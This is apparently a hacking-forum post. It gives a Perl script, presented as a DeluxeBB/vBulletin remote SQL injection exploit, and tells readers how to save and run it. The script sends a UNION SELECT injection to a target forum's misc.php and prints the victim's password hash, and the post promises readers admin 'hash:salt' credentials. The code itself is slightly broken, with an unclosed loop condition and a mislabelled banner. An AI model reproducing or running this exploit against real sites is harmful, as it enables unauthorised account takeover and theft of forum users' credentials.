(adsbygoogle = window.adsbygoogle || []).push({});
Hey guys first you guys need to download Perl.
You must login or register to view this content.
Enter this code in a text file
#!/usr/bin/perl
use IO::Socket;
print q{
######################################################
# DeluxeBB Remote SQL Injection Exploit #
# vbulletin Remote SQL Injection Exploit #
# // SekoMirza // Turkish Hackerz #
######################################################
};
if (!$ARGV[2]) {
print q{
Usage: perl dbbxpl.pl host /directory/ victim_userid
perl dbbxpl.pl [url]www.somesite.com[/url] /forum/ 1
};
}
$server = $ARGV[0];
$dir = $ARGV[1];
$user = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid = $ARGV[5];
print "------------------------------------------------------------------------------------------------
";
print "[>] SERVER: $server
";
print "[>] DIR: $dir
";
print "[>] USERI
$user
";
print "------------------------------------------------------------------------------------------------
";
$server =~ s/(http:\/\/)//eg;
$path = $dir;
$path .=
"misc.php?sub=profile&name=0'
+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%
20WHERE%20(uid='".$user ;
print "[~] PREPARE TO CONNECT...
";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[+] CONNECTED
";
print "[~] SENDING QUERY...
";
print $socket "GET $path HTTP/1.1
";
print $socket "Host: $server
";
print $socket "Accept: */*
";
print $socket "Connection: close
";
print "[+] DONE!
";
print "--[ REPORT ]------------------------------------------------------------------------------------
";
while ($answer = <$socket>
{
if ($answer =~/(\w{32})/)
{
if ($1 ne 0) {
print "Password Hash is: ".$1."
";
print "--------------------------------------------------------------------------------------
";
}
exit();
}
}
print "------------------------------------------------------------------------------------------------
";
#########################################################
#Shoutz: #
# #
# My Sweet -> Caramel #
# For Mp3s -> Hypn0sis #
# For Support -> [[url]WwW.StarHack.Org][/url] #
# My Bro -> PhantomOrchid #
# My Preceptor -> Earnk Kazno #
#########################################################
Then Save AS and click save as all files. and rename to anything (example)vbexploit.pl and put .pl at the end.
After you have done that open CMD.
When CMD is opened type in perl "space" and drag the file on cmd and press enter.. follow the steps and you will be able to retrieve ADMIN hash:salt..
I take no Credit